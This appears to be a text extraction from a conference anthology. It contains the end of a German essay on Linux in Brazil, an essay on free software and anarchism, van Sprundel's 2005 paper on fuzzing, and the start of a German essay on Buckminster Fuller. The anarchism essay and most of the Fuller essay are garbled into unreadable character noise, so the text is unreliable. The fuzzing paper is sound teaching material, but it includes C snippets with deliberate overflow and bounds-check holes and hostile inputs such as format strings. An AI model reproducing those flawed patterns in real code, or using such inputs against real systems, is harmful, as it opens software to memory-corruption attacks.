Installation und Grafische User Interfaces gleichen sich dem Komfort proprietärer Systeme an, doch noch immer gilt „Klicki-Bunti“ nicht als besonders sexy. Linux-Entwickler denken beim Programmieren eher an sich selbst denn an weniger versierte Nutzer. Im krassen Gegensatz zur Offenheit und Liberalität der GNU/Linux-Bewegung steht auch, dass Programmierer wie User fast ausnahmslos männlich sind. Die wenigsten Frauen entscheiden sich dafür, ihre Fähigkeiten in die Community einzubringen, um dort zu lernen und ihr Wissen weiterzugeben. Wie soll Linux da Mainstream werden? Auch da sind die Brasilianer weiter als der Rest der Welt. In den mit Linux betriebenen Telecentros20 trifft man auf verhältnismäßig viele weibliche User. Man ist stolz darauf, viele Nicht-Hacker in die Bewegung integriert zu haben. Trotzdem ist auch in Brasilien freier Programmcode längst nicht in den gesellschaftlichen und politischen Institutionen verankert. Die dortige Szene fürchtet, dass mit dem Ende der Lula-Regierung auch die Linux-freundliche Politik endet. Um das zu verhindern, bemüht man sich verstärkt darum, die Öffentlichkeit und konservative Parteien von den Vorteilen freier Programmcodes zu überzeugen. Denn die beste freie Software nützt nichts, wenn niemand außerhalb der Community dafür Begeisterung entwickelt. Es bleibt zu hoffen, dass der brasilianische Weg Schule macht. 8. Fazit Der Großteil der materiellen Ressourcen der Welt liegt auf der südlichen Erdhalbkugel. Das hat den Menschen in den Entwicklungsländern wenig genützt, denn die Ausbeutung der Vorkommen wird meist durch Unternehmen der Industrienationen kontrolliert. Auch Wissen und Information sowie Systeme, die die Verteilung von virtuellen Gütern regeln, sind im Norden konzentriert. GNU/Linux dagegen ist für alle da. Die fairen Distributions- und Nutzungsbedingungen von freiem, offenen Programmcode haben das Potential, mehr (digitale) Verteilungsgerechtigkeit zu schaffen. Denn Software besteht nicht nur aus Information, sie fungiert auch als Schlüssel zu Information und Wissen aller Art. Wissen ist ein wertvolles Gut: Es wächst durch Teilung. 20 Öffentliche Computer- und Internet Access Points 163 | Free Software and Anarchism does this compute? Sandro Gaycken 165 |                                    !$ %    '* +0'  '                                 !         "  !  #                !      $  !                              %     67 6<   = *0   0  $ 6      '06  06   6 >      6? 6    $ 6    6*     '  6         *   0  $ 6 @   0 6 @$ 6*   6      0   $    H *6     6 '6 0       *    0  6    0 6*    0   6    '=  6 '     6   0  *  =  0 6 6 6   *'=    60   **' =   0   6*   0  $ 6 $ 0  6    *'$    0  $ 0'K   0 0$  L  * 6    *  *' $   $ *0  *0 = 6$ 6 *6 '   6   *  0  L   $ 6 6 '  6  0    *   6 0  6 *     '  0     67 6<  *  0  6  *6    $  6  *'K  0    L*6 *  6           ' L 6  N$     ' 6 *$   0 6  $ 6 6        6  6     '       6      *     * $   $*  0  $ 6  6 @  *@    $ 6      *  '  $ 6  6  $ *     6    6     0   $  6  ' * $      *         $ 6      $ 6  6    ' O | 166 FREE SOFTWARE AND ANARCHISM   $   6 0   0'0            0  $ 6 00   *$ 0  6'   $     *  60 $  0 *      *  *'  = *  0  *      *  6 0 *0 $  *     *$   6 '     6 6  *  *   60  $         * 6 '            6  $   *  6        '    0 '  0 '7K < 6  6   0    6   '   6$   * Q  6 $   UV!6 0 **   6  $     0     $ 6 ' *  0>   0      6  *  *  0   6     6    $    6 *    6  66*@ *@      0   $  ** 0=         6O'   606*   *    6 *0 6 0 '  6   0     0 *' *  * $       * 6UV!XYH $    $   0    '*0  0   6  6*   *   66   0* $ 6   $ 6 *6    666  >U 0 6 6  * 6Z   0' 00      0 [*  6   0   66 ' 6 $   0 6*            '0    0*  6*     $  $ *6  *  6  '  66*$    * 66   6   *0 6 ' *    67 *<    =6 \      * 0  6     66'=6  * *     0  * H      0     * 66  0  *  H$     60   H*$  'K  0  $ 6  0 0 0     $ 6  6 0   ?    '  6* *     **       ?     $ *  '   0   6 6 *$$ *   $ 6    *  '   0*       6  *   *$  6   6   *  ']6   6  ?    $ 6   $ 6 6    0  6    >  *' O     >XX000'' X  X'6' \ =6 0*  6*  ' *   '    =     \ 167 | ^   *  6    '   0  H $    *6   *'U        0  $ 6 *  =* $ 6     $     7< $ 6   ' 0 0  *  $ $ 6*0 0  6 'K  0  '   Y $N  0YH  0  6    6 H 6   '  $ 6 0 6    $@6  *0' 6*   66 *  6    6 '`  0  6 *0       *  6 $  6   0  6  ' *  H *    6 H    6 >66   66  6      $ 6   7 $ *   6  < $ 6 '     $0  6            66 $       6      U  $  6   0     6 0       0 '   6          0  6   0 0   6  $     0    666     6 *0 *          H06'            67 *< 0        $   *  6   6  *6  $ ' =   0  0 *6   6 *0    ' $  0 0*  $ 0   6   6     * 0 6 *6 ' &    '()  6   6    $$*  66 0  6          6 '     6            * 6*  *  'K   @  @ 6 0     7  <   $   0*6 j'L 06 [  $ z 6 66* 6 0   '!       Z*{  $  K     O|}~   6  0  6$ 6    U 6=6$ 6  H 6   QK  60   * 606*7< ?    *       *      *'          0   6 7 6<  } 0   *60*  >  6  ' ' *  6     $  6  6**  0 0 0   66*        '   *      0   0 *              >  6  $ *   '  6$   $     6 $ *    *  *  **   *       *  H 7  Z]*< 6 6$ 6    0* 7Z]*<'     ' j €  H*  $ 00= >V  XZ € >                ' ''‚>ƒ'„ $O||† z  $   $ 6   * 6 *6 $   0    ]66   Q $'     6 *0  ?6 $  ' }     * **     6* U 6  $    ‡66 O' >! ƒ?   >     !"‡ˆ\‰‰j  | 168 FREE SOFTWARE AND ANARCHISM       6               0   0  6 * 6          *             ]„  6 $ * H $  66   * $    $ '    6  * * 0  6 *        ‡†' 6   *0    7$ < Š  6 *6 ' 6   $'  *Š 6 *  *      '    *00 $   6 0 0   6 ' 0 0 * $ 0'  0* *  6 6 'N  6  ~'60   *|  $ *  $  '      6 6   0  $ *0   * '* 0     =*7$ *< $ *  $ *   * *  $ $  *     6   6  $ *   *   *0   6  06*  6 0               >  $ *     *   *   0      H $    *   *'    0  0 $    6'V0  H= >0  0 *[^   =  0  0066  * >$ *‹ * 6>6 ‹$ * 6 *6*     $  H    6 * *0 *$     6 6           * *„  ?  ' 0 00 66    U O‰' 0         = '  V6 * >  0         0   [^   >0 0 *6    6   * H       [=  6 6   6   = 0*  66  * '*    0  *     6    $      '    0       $ >* 0  *6    6    H' 0L$      $ 0   '6 00   * 6'  00 06 0  *  0 $ L*  $ >0* ? 00 0[   *  >6  *  ' 0*N0 [€ 0  0 7 <        6  *       6    0   *   0  6 6  >60 ']6   6 * 6* $     *   =   H0 OO'0    6   0 $'  6  60 *   * 6*'    6   6     *  $    $ *     * 6     ' $*  6   * $ 6       H  6    0    $  6  0*        † ‡ Z H> # Œ  O|z†‡*   ‡ ˆ  ~ 6*6   6 L   7 6 *6 0 * 0<'  *]  €   $#$ €6  O|~†$ * 66       *' |   € ?>    $% & Œ O|~z'€ * ' 6     6?  ?*'  L  6   'K  0 6   *   >Q V?> '   ( #'Œ O|†j O‰ U „  ? XKHU > )* # "K   6ZO||z OO 0 00 0 'K  $    $ * 66  > Z € XV  >+#"]6  Z'\‰‰‰ j 169 | 6 * 0   * 0  @0   *0  '  *66  *   *0     6' 6 6 *0  *66  ** $0*       *666'   6 $ *  6  **66 *'V   $ $ *           *00  *Z H6 * 6  H    H   ' *[0  '66 6 6   6 ' ^ 6      0  0 $  > *  ' *6   $  H6 600     *  ' *      *6  *     6    *             0  *   6  6    0    6   **$     H6O\' ^   6 6    0  $  6  6  $ *     **  6' * H$ 00 $ * H    O' 0   0 = $   $0   * 0      $  $       '    0  $   6     6*  6 H $ 6@ $    *6 6    6 @    6 > 6' 0 $  $  * $  6 'V00    606*    6        6 ?    $ *   *  $   '   7 $ < 6'    6      *   H        $   6'     6     $  60  $ $'   $ *   @=  *   *066  *  6 $ '  0 0   0 $ 0 0$ 00 0        $  6' $ 00     $0   *  6 0  =  '^     $ 6    6    66 0 $ 0 '        ?  $ * *  ?    6  $       ?0  0  '0 0 *$    ?   66 '         ?         $                  6 0 ' ** ? 0   *   66*0 0       =* 6 $ *6 6    *'0 * 66?    * =*'   L  66    6'ƒ$ *6 6    *66    *   *      0        66  6    6    6    66*N **    '  *   0      *  $  6   $  0 '  $ *    *0  $      *$    6     $ 6 '*   $  6      $   0   0    *   ?            ' €   $ 0        06 *      * ' $  0 0     *   6   O\ K 06N66  * >    H  0   *]   *>€  Z  >,   - "\' Y\‰‰\ O    6   >>XX    ' X L X 6' >{V =  >   #     %#" ] ?] 'O||| z | 170 FREE SOFTWARE AND ANARCHISM    'Z* $ * 6    $  *  66 H 6 '^ $0$ *  *   H  '     0    H   Oj'   0 0   Z *    *  *'     6     *  * H6    '   *  * [€0   [  * 6     6 6  $  *  '$ *66$ 0   '6  $ 6      '   6 00    0  *  '      6  6 0Z H   0           '  €          6                  *      '^ $ * H6    $ 0 '    0  0 0   00      H    ' 6  6 6  6 66        6   $     06 6 H $     '    6      6         6         '6       '0     $      $ * 6    0  ? 6  =* 6   6   ' Z*          $  *        '    $  H6   *    0   0   * 0  '  0      6      $   6 '             '6        6     $   *   6     '  6 H  6  76 <*6       ? 6 H*$  *6      0  6 $ 0 6 6       '         *   *$   '  $  6         'Z H ? 0 *   * $                     666             0    *               7     $<0  66   $  Oz'   6      6                                     66    666' 0  $   $ 0  0      *06       6  $ *    6   6      6 *  0      ' K0      0  0 *    0 $  60 6       $   * 0    0     *     '    $      0           ?        0   $  60  0   6' Oj  *   *' Oz $ * $ 0  *  0      $ !    $ 6     *       '„$€6 0  $ * *   6 6 * $  0  > „$€6>.# $ "Y\‰‰z } 171 | V0      *  *' Y  Z H  0  0                 $             6    $ $ '     $ $       ?      66*'    6             [      *>       '^* 0    $ 6*  6    0  $ '0  $ [^  ?  6* =    ' 0  * 6  6*      *      6  6 0   *   '  ]        ?     6 [   $ >* '0 6  $    H   '€ 0 6 Z *'€ 0  0       6O}'€ = '   $ ?   0         6 *6     ' * 0  ** 0          * 0 6  ? 66  O‰‰‰\‰‰‰ $ *     6 $  $    6 $   O†' 6 0 ƒ 6    *O~0         66       $>   *     $  0  0   6 *  $    *0$ 0   *    *   * $$' 6*  *  * $ $ *   'ƒ *00 06  $    6 ' 6 $  6        *  6 *  6@ 0'  6 *  0 ' *0 $ *  ?  0   6 6  $ *'      * 0 $  $  = 6 0 6 ' 6      0  H $ * * 6  H '     0*    0  $ '  $   H *   ' K 0  0   6       6' 0  $     6 '  0 $   *   6 * *$   6 66     *  *    0         6    0        66 'K   *  * $* H     $ * H '   06*0    0   *      *6 ' *0           60            6  6?  *  '  *0$    *   $ *     '6  H6      *>     ' $   6 z‰‰‰    6   N *6   *L    0  ' 6       0*' 6  6 = 6     *66   =  *       '    *            $   6'     0  $     0        6 * 60  0    O} K  >Z *>/0 1 2  %">€  „ €'>(  1  %    !    "'\Œ O|~‰ O†   K6  $  '^  6* $  >€  K  >+  + "K    6ZO|~‰ O~   $   >K >3 4   " † | 172 FREE SOFTWARE AND ANARCHISM    $ 6    *'    6 *  0*  *          *  *   H $            '   H6      '  0    6 6             0    6       6    6          6 '     *             '   *        ? *' *   66 ' 0  0     6     0   6 = *0   '         6*    ? 6 66  6 $ *   0 '0 0  6      0   0$ 6 H*     *' ^     $ 6 0 0 6 $ '    *6  6  $   0 00 0    *      *6 0  6   0    0  6    6  $ 06 H$  *O|'     0 0  0 0   $  0  $ 0'K   0  $ 6    0 0  *00  6  0  ' $ 0   * 6    *   *L   006  $   '   0  $ 6    6   * 6  76  66< = *    \‰'0$  L    6    *  6'0   6 6*       6  60 6    $ 0' Y     0  *'     6    [ 0 = *  6   'K 0 $    0  **     ' 6   6 0' *0'0*6 06  6 0 '     0 0*66 6   $ 6    *\O' 0 6        0 *  0 ]„'0 $   $ 00*  6     *    * *  $   0 '  >0  6          *0 6    ?6*  $   $ 6  6'    6              ?     *     $ 0             6  @      > 0 $  6     0 0'  $   =*' 6 6     6 '      *  6?     $ *    ?            6*    ?  H $ *     *6   0 '  *6L  6  ' 6 $  $ 0 *   O| 6  6*  6  *  *   *'    >] €>2 ) .  1  ! 5 1  "Y ?O|| \‰     $Ž*>2    5"V 0 \‰‰j \O  N0 *  'Z6  0 *  ?      ' ~ 173 |  ?$$   *   \\'  0   *      *        6  *  6                   6 '           *       6    6            *    ' $ 0  @   $  ] '  0      0     0   0   0     0   *' 6=  0   $  $ '    ]*  ?    0    H 6*      6              6   6  ? *   6     6' $  66     $ 6 0  $      *      '  7  0 <         $    0   ] 6       0   *  '€   ?    $? 0 '€    66         0 }‰  6 6  H6  „„O\j 6  ]6 ] ]6*K 66'0  6  $   * ] 6      *N     $ 6 6 0 = * ' €0 $     6         $  L 6           6       *    0 0 '  $ $       6  0   6 6 0  6 6    $ 6  $ > $       'U$     6 6 6  *    *   0 66                    0  0  $ *  *  6     '$  00    $   6  7  6 <       0    $ 6        '   6          0  $ 6      $   0 0 6     0 0 6 6 ' 6   $ *6    * 0    ? 6   66    6   $ *     6  'K 6  0       6 6  0   *        6            '  €0 $       0 6$ 6   '      0  *6   6*>? '   *   6     $ *6?       ?'*6  6     0  6    '        6   $   $        * $     * 6 0 6 *  $     7  0 <'„        0 6 * 00  $    *  6     6   $ *  *  6  6 6  0   6' 0  6  *      6'   0  N 6 H       0 6$ 6 'Q  6     0  *            6'  6 N  ' \\    6        0  6 *0  $  6   * H '{ 6  *  H6 >  ƒ    ZZ †‰OO|z\ 6   ! V$*N6  '  †‰O 6        6 'Q V*       ?   ]O|z|00    $  0 H 6     ] V 0 ]6  6 6   ! K06   Z 6  6      6 6 6 6 '] 6     $$     ' | | 174 FREE SOFTWARE AND ANARCHISM   0 $ $   6   0  *0       6$ >0  6    0  $ 6   6 []     [K   6 * 6 0 $    66 H   $ 0  6        0  $ 6 0   0   6    6   ' 0    6 6   * 6                   6      *     *        *        '       6  0  0  0       6   *   '  0*0  *0*6   $ 0 0 *L  6 *6    #     *     &  ' V0 0    6  6     *0  $   H= '= >0       0  6  [„  6     6* 6[V0   = 6'      06   *  *    ?    0 *06    $        6 6 0 00 0    H '  0    $    'V*  * 6 H   *   ?  $ 6 'YH     $ *      6   '  K   0   $ 6                 $ *    * ' 0UY   $       0  $ 6  * 0 ] $ ]66 Y  '  >          6'K 6  \0=  *0 0 6    6 6   *  ' K 6*  L $ *       $ $      *   *  6' Q  $ 6       $    $ *   * *  0 6'€   0  $ 6  6   * $    6 0   * = 0 ' 6*    0        6 00            0  >  0     6  $  6     6'`  0 6  *    $ 6 6 7 $ <      6 6*   6  $ 6 000         6   '     6      6*  0   0$     YH06*6 6  *   *       *  6    0 '       $ 6   6      0  6  0**0 6    0  *6   * %   0**6 0    6  *=  ' 6  0  $ 6 6      * 6 0   6 6   0 '6*  6$ 6     06 6  *       $ *6 0           ' * N ?   06 *L* $ *   0 6  $   *  '       >  0          6  *       0   H   6  '   0 $ L  6    0    *   \ K 6     >{  Z 6 >/ ' 4  6  7 4 6 "K   6Z\‰‰ O‰ 175 | 6 0  6  *'  H 06  * 6    0  0*Z60  UY *  H   6'   ' V0 $     0  $ 6  N'* 0  ? 6  N    ?  *   6   ' $  6    6 ** 6         '    L    *       6 0  $ *  6     '   0  6  0      $      0  *   ' $       6   6 =     6    '          ^ *' *   [ „   0  $ 6  *$ *[ V [ >   0'  * 6   >  0       6 '  6 $ $     6  0  $ 6 0 '00 0 $  0   0  # 0  ' 0 0  $   6 00    6  0  $ 6 *    6 *  $* 6     0  $ 6       *  0  \j'$ *    6  0  *00 0    0 0 0     0     0   0  $ 6  6       *  '  $* 6 0 $ 6   6 0   0  $ 6 0   6 @00*0  '0 $ 0 0  6 0 0      6    6' K    6 >  $* 6   6                    $ *            *   $ *      $ 6   $         6*  6 \z' * 6 * $      6     $ 6    6   0   *      H      * ' V0   6 0*  * 6   *   0  $ 6 '0 0  0   60  6   * = 0 6        =6 '  =6   *     *  *    6         $           *   0  6    0> 6   6  $  *    $ 6  6   '  6   6 6    $* 6 0    6 0  $ 6    6  H6 '   $*   6 00* 0  0  $ 6   *    $     0 * 6* $0 *    = *'0$  $     >Y0  Y Q ƒ >$ % +% " *Q $ 0†X\‰‰zU 6 ' \z **   $ 0   6  $   *     6   6 $   '6   6      6' \j OO | 176 FREE SOFTWARE AND ANARCHISM   $ 6    $  $ '  6  $ 0 6  $ 0   *   $   6    *6 6 6'        0'6  *  $         $ 6     6'        0        6      *6      'K  0 0     6       6' €0 $ 0 0$     6      0     6 '    6  H       0         0  *  $    =   '6      0  $ 6  *$ H6 0 $   *'K  0 0$ $      *0 *         '* $ 6    * $           $ 6 '^*    $ 6          0  $ 6     H6      6  $ 6  $ 6    $   ' ]>      0    $                         0 'N *HH 0    6 $ $ ' *   V  XZ € >                 ' ''‚>ƒ'„ $O||†  ! ƒ?   >     !"‡ˆ\‰‰j  ‡ Z H> # Œ  O|z†‡*   ‡ ˆ   ]  €   $#$ €6  O|~†    € ?>    $% & Œ O|~z  U „  ? XKHU > )* # "K   6ZO||z  Z € XV  >+#"]6  Z'\‰‰‰  €  Z  >,   - "\' Y\‰‰\  {V = >   #     %#" ] ?] ' O|||  „$€6>.# $ "Y\‰‰z  Z *>/0 1 2  %">€  „ €'>(   1 %    !    "'\Œ O|~‰  €  K  >+  + "K   6ZO|~‰  K >3 4    ] €>2 ) .  1  ! 5 1  "Y ?O||  $Ž*>2    5"V 0 \‰‰j  {  Z 6 >/ ' 4  6  7 4 6 "K   6Z\‰‰  Y0   Y     Q   ƒ > $ %  +% "  *  Q $ 0  †X  \‰‰z U 6 '   6   >>XX    ' X L X 6' O\ 177 | Fuzzing Breaking software in an automated fashion Ilja 179 | Fuzzing: Breaking software in an automated fashion Ilja van Sprundel December 8, 2005 1 Introduction Fuzzing is the art of automatic bug finding. This is done by providing an application with semi-valid input. The input should in most cases be good enough so applications will assume it’s valid input, but at the same time be broken enough so that parsing done on this input will fail. Such failing can lead to unexpected results such as crashes, information leaks, delays, etc. It can be seen as part of quality assurance, although only with negative test cases. Fuzzing is mostly used to uncover security bugs, however, it can often also be used to spot bugs that aren’t security critical but which can non-the-less improve robustness. 2 Types of fuzzers While fuzzing is mostly done in an entirely automated fashion, it is also possible to perform semi-automated fuzzing. This usually involves making a small tool, doing one test run and then carefully examine the response. The benefit of semi-automated fuzzing is that very subtle bugs -that would otherwise not get noticed- can be found. If need be the code used for semiautomated fuzzing can be changed Manual testing can sometimes also be though of as a type of fuzzing. In most cases it is the preparation needed to perform automated fuzzing. With manual tests it becomes obvious which parts of a program or a protocol are the most interesting for fuzzing. Sometimes critical bugs are even found during manual testing. Obviously tools are needed to conduct fuzz testing. There are 2 types of fuzzing tools, standalone tools which were designed to fuzz a single program 1 | 180 FUZZING or protocol and fuzzing frameworks. Fuzzing frameworks have an api that can be used to easily create broken data and implement specific protocols. While most fuzzers are build to test networking protocols, it’s possible to fuzz a whole lot more then just network protocols. Files, api’s, arguments for a command line utility, standard input, signals, and many more can all be fuzzed. Any point where there is some communication with an application can potentially be fuzzed. 3 How fuzzing works When building a fuzzing tool there are 2 common approaches. The first one is to randomly send some kind of data in an endless loop. this random fuzzing has the potential to uncover a lot of bugs but often misses quite a few because an application parsing the data might consider it to be invalid before it reached a faulty piece of code. In most cases this can be worked around by implementing adleast some intelligence into these kind of fuzzing tools. The second one is where it has been carefully studied what will likely cause problems and iterate over all possible combinations thereof, it comes close to fault injection. This kind of fuzzing is usually finite. One problem here is that it is almost always impossible to generate all possible combinations that will trigger a bug and often some bugs get missed. In reality random fuzzing usually finds the first couple of bugs faster. The second type of fuzzing is often more complete. However, sometimes random fuzzing will uncover bugs that would have never been found with the 2nd type of fuzzing, because it is never ending and uses a random source for most of it’s input. It’s not uncommon to still discover a bug with random fuzzing after several hours or several days. The kind of intelligence that is put into a random fuzzer usually depends on the amount of effort that has been put into it. More intelligent fuzzing usually leads to more results, but requires more time developing the fuzzing tool. 4 Determining completeness and failing Determining Completeness when fuzzing is usually very hard to do, more often then not when performing fuzzing some or all of the documentation is not available and most information has been gained through reverse engineering. Even when standards are available variations on the standards could have 2 181 | been implemented and new (undocumented) features might be introduced. The configuration of whatever application that gets tested plays a big part in completeness as well. What’s not configured can’t be tested. While fuzzing it’s important to determine when a program failed, which isn’t always easy. failing usually can be determined when the program hangs, crashes (sigsegv), reboots or consumes huge amounts of memory. Crashes can be detected by attaching a debugger to the application being fuzzed. Hangs can possibly be detected by means of timing. Huge memory consumption can be detected with memory statistics tools. Keeping track of specific logfiles might also help to determine weather an application failed or not. 5 Key elements in fuzzing Some interesting things to look at while developing a fuzzing tool are any kind of size field, strings, something that marks the beginning of a string or a binary piece of data and something that marks it’s ending. For size fields it’s always a good idea to use values around the boundaries of the size field’s type. For example, if a size is seen as an unsigned 32 bit value giving it a value of 0xffffffff might cause an integer overflow: p = malloc(yourlength + 2); strlcpy(p, yourstring, yourlength); Negative values often lead to problems, in a lot of cases they get missed when bound checking is performed: if (yourlen > MAX_BUFSIZE) return SOME_ERROR; else memcpy(buf, yourdata, yourlen); Negative values can also lead to underindexing after the same kind of flawed bounds checking. Sometimes applications will assume that the length given is exactly that of a string passed to it and will happily copy that string into a buffer after a bounds check is passed: read(fd, &yourlen, sizeof(yourlen)); if (yourlen > MAX_BUFSIZE) return SOME_ERROR; else strcpy(buf, yourstring); Using random numbers sometimes might trigger a bug, it’s impossible to tell where the programmer of an application messed up until it’s been tested: 3 | 182 FUZZING #define SOME_MAX 4096 if (yourlen < 0 || yourlen > SOME_MAX) return SOME_ERROR; p = malloc( ((yourlen * 2) * yourlen) * sizeof(very_large_struct)); for (i = 0; i < yourlen; i++) p[i]->elem = some_number; String handling has caused many software bugs in the past and hence it would probably be benificial to take advantage of this. Obviously it’s always a good idea to try very long strings, since those might cause trivial buffer overflows. Including formatstrings such as ”%n%n%n%n” in strings while fuzzing might also result in bugs being found. Binary data inside strings sometimes leads to surprising bugs. A good source for binary data can be found in /dev/urandom: a = malloc(strlen(b) +1); while(*b != ’b’ && *b) b++; b++; strcpy(a,b); Using empty strings might also trigger some bugs. Sometimes, although very protocol specific, there are length fields inside strings. The previously mentioned interesting size field comments apply here as well. Using sql statements in strings quite often leads to sql injection bugs, simularly putting shell escape codes in your strings might lead to code execution. Pieces of data that mark some beginning or ending are usually good candidates for fuzzing as well (”,],’,NULL,...). Don’t use them in some test runs, use them twice in other test runs, escape them, put data after them anyway, ... All of the things described in this chapter are mostly used in data generation, Where everything gets generated by the fuzzing tool itself. Sometimes it’s also useful to take a valid piece of data and then change it somehow, otherwise known as data mutation1 . 6 Annoyances while fuzzing When fuzzing there are several things that make fuzzing harder then it looks. A very common problem is that of a bug behind a bug, where it is almost 1 see http://ilja.netric.org/files/fuzzers/mangle.c for a simple example 4 183 | impossible to trigger one bug because another one is in the way. Often the only solution is to fix that bug and start fuzzing again. ”Userfriendlyness” can tremendously slow down, or even halt automated fuzzing. One solution to this problem is to preload some library and get rid of whatever is slowing down fuzzing. Slow programs are also annoying, often this is because the program is badly written, There is no way to fix this problem while fuzzing, but it is usually an indication that many things are wrong with that application and fuzzing it will likely turn out to be very sucessful. Checksums, encryption and compressions are often annoying because they simply need to be implemented in the fuzzing tool and increase development time of a fuzzing tool significantly. Memory leaks can also get in the way of fuzzing. Arguably this is a case of a bug behind a bug. The problem is that they might not get noticed until they slow down fuzzing. Last but not least ”undefined states” are very annoying. These undefined states are usually triggered by test run x − n but only discovered in test run x. They are often very hard to track down. 7 Conclusion This paper has covered all the essentials to automated bug finding. It has detailed how fuzzers work and how to build them yourself. It described the types of fuzzing and annoyances that come with automated bug finding. The thing that this paper has unfortunatly not delivered is the actual thrill of fuzzing, since it is something you have to experience and cannot just get from reading about it. 5 | 184 Geometrie ohne Punkte, Geraden & Ebenen Buckminster Fullers Theorie und Praxis einer Wissenschaft zum Selberbauen Oona Leganovic 185 | 2RQD/HJDQRYLF  *HRPHWULHRKQH3XQNWH*HUDGHQXQG(EHQHQ =X%XFNPLQVWHU)XOOHUV7KHRULHHLQHU:LVVHQVFKDIW]XP6HOEHUEDXHQ  5 %XFNPLQVWHU )XOOHUV   .XSSHONRQVWUXNWLRQHQ EHVFKHUWHQ LKP HWZDV |IIHQWOLFKH $XIPHUNVDPNHLW VHLQHQ XWRSLVFKHQ 3OlQHQ IU GLH =XNXQIW GHU 0HQVFKKHLW ZXUGH JHODXVFKW ZLH EH]DXEHUQGHQ 0lUFKHQ XQG GLH DNDGHPLVFKH :LVVHQVFKDIW HKUWH LKQ SRVWKXP PLW GHU 1DPHQVJHEXQJ GHU  HQWGHFNWHQ )XOOHUHQH .RKOHQVWRIIPROHNOH GHUHQ 6WUXNWXU GHU VHLQHU .XSSHOEDXWHQ VWDUN lKQHOW  *HWULHEHQ YRQ HLQHU $UW ÄDXWRQRPHQ (PSLULVPXV· XQG EDU HLQHU DEJHVFKORVVHQHQ %HUXIV RGHU ZLVVHQVFKDIWOLFKHQ$XVELOGXQJVFKZRUHUVLFKZLUNOLFKIUVLFKVHOEVW]XGHQNHQXQGYHUVXFKWHVRHWZDV ZLHHLQHXOWUDHPSLULVFKH*HRPHWULH]XHUULFKWHQ  (UVWH(UIDKUXQJHQPLW*HRPHWULH  'LH'HILQLWLRQHQYRQ3XQNW/LQLH)OlFKHXQG:UIHOGLHLKPLQGHU6FKXOHEHLJHEUDFKWZRUGHQZDUHQ EHIUHPGHWHQ LKQ ² HLQ :UIHO EHVWHKHQG DXV )OlFKHQ RKQH 'LFNH ]XVDPPHQJHVHW]W DXV /LQLHQ RKQH MHJOLFKH%UHLWHZLHGHUXP]XVDPPHQJHVHW]WDXVGLPHQVLRQVORVHQDOVRQLFKWH[LVWLHUHQGHQ3XQNWHQ)XOOHU NRPPHQWLHUWHGLHVH*HRPHWULHZLHIROJW'DGHU:UIHOGHQVHLQH/HKUHULQLKPJHUDGHYRUJHVWHOOWKDWWH ZHGHU HLQ *HZLFKW EHVD‰ QRFK HLQH7HPSHUDWXUQRFK HLQH /HEHQVGDXHU XQG GDVHLQ OHHUHU DXV ]Z|OI .DQWHQDXVQLFKWH[LVWLHUHQGHQ/LQLHQEHVWHKHQGHU5DKPHQVHLQH)RUPQLFKWHLQPDOVHOEVWKDOWHQNRQQWH ZDU HV XQP|JOLFK LKQ YRU]XIKUHQ XQG GDPLW ZDU HU HLQ KHLPWFNLVFKHV :HUN]HXJ IU 6FKOHU XQG 6WXGHQWHQQW]OLFKQXUIUGDV6SLHOGHUYRUVlW]OLFKHQ6HOEVWWlXVFKXQJ(UIROJHUWGDVVGLHVHDQHUNDQQWH 9RUVWHOOXQJYRQ'UHLGLPHQVLRQDOLWlWDXVJHVSURFKHQXQZLVVHQVFKDIWOLFKVHLGDVLHGHP/H[LNRQEHJULIIYRQ :LVVHQVFKDIW DOV ÅV\VWHPDWLVLHUWHV :LVVHQ JHZRQQHQ DXV %HREDFKWXQJ XQG 6WXGLXP´ QLFKW HQWVSUHFKH VRQGHUQZLOONUOLFKJHVHW]WVHL  (LJHQH7KHRULHQ  )XOOHU YHUVXFKW HV EHVVHU ]X PDFKHQ Ä%HVVHU· EHGHXWHW IU LKQ WDWVlFKOLFK H[LVWLHUHQGH 2EMHNWH ]X EHREDFKWHQ LKU 9HUKDOWHQ DXI]X]HLFKQHQ XQG YRQ GLHVHQ %HREDFKWXQJHQ VHLQH PDWKHPDWLVFKHQ 3ULQ]LSLHQ DE]XOHLWHQ (U lX‰HUW UHLQH 3ULQ]LSLHQ VHLHQ DQZHQGEDU N|QQWHQ YRQ GHU 7KHRULH DXI GLH 3UD[LVUHGX]LHUWZHUGHQ0LWGHU3DFNXQJYRQ.XJHOQLQGHU(EHQHH[SHULPHQWLHUHQGVWHOOWHUIHVWGDVV GLHKH[DJRQDOH$QRUGQXQJGHUK|FKVWHQ'LFKWHHQWVSULFKWXQGGDVUHJHOPl‰LJH6HFKVHFNDX‰HUGHPGDV HLQ]LJH UHJHOPl‰LJH 3RO\JRQ LVW GHVVHQ 6HLWHQ JHQDXVR ODQJ VLQG ZLH GHU $EVWDQG GHU (FNHQ ]XP  5%XFNPLQVWHU)XOOHU(-$SSOHZKLWH6\QHUJHWLFV([SORUDWLRQVLQWKH*HRPHWU\RI7KLQNLQJ6HEDVWRSRO   † | 186 GEOMETRIE OHNE PUNKTE, GERADEN & EBENEN 0LWWHOSXQNW ,P 5DXP ODVVHQ VLFK GUHL .XJHOQ DP HQJVWHQ LQ )RUP HLQHV 'UHLHFNV YLHU LQ )RUP HLQHV 7HWUDHGHUV SDFNHQ 8P HLQH .XJHO DOV .HUQ JUXSSLHUW HUJLEW VLFK DXV GHU HQJVWHQ 3DFNXQJ YRQ ]Z|OI ZHLWHUHQ .XJHOQ HLQ .XERNWDHGHU JHGDFKW MHZHLOV DOV EHVWHKHQG DXV GHQ 9HUELQGXQJVOLQLHQ GHU .XJHOPLWWHOSXQNWH )U GLHVHV .XERNWDHGHU JLOW DQDORJ ]XP 6HFKVHFN GDVV GLH /lQJH GHU HLQ]HOQHQ .DQWHQPLWGHP$EVWDQGGHUHLQ]HOQHQ(FNHQ]XP0LWWHOSXQNWLGHQWLVFKLVW)XOOHUQDQQWHHVDXFKGDV Ä9HNWRUHQJOHLFKJHZLFKW·:LUGGLHVHV.XERNWDHGHUPLWZHLWHUHQ6FKLFKWHQJOHLFKJUR‰HU.XJHOQXPKOOW EOHLEWGLH)RUPHUKDOWHQQXUGLH$Q]DKOGHU.XJHOQGHUHQ5HLKHHLQH.DQWHELOGHWZLUGHUK|KW/HW]WHUH EH]HLFKQHW)XOOHUDOVGLH)UHTXHQ]GHV.XERNWDHGHUV:HUGHQDOOH.XJHOQDX‰HUGHUlX‰HUVWHQ6FKLFKWDXV GLHVHP *HELOGH HQWIHUQW IRUPLHUW HV VLFK QHX ]X HLQHP ,NRVDHGHU 'LH )UHTXHQ] GHU .DQWHQ EOHLEW HUKDOWHQ QXU GLH 3DFNXQJ GHU 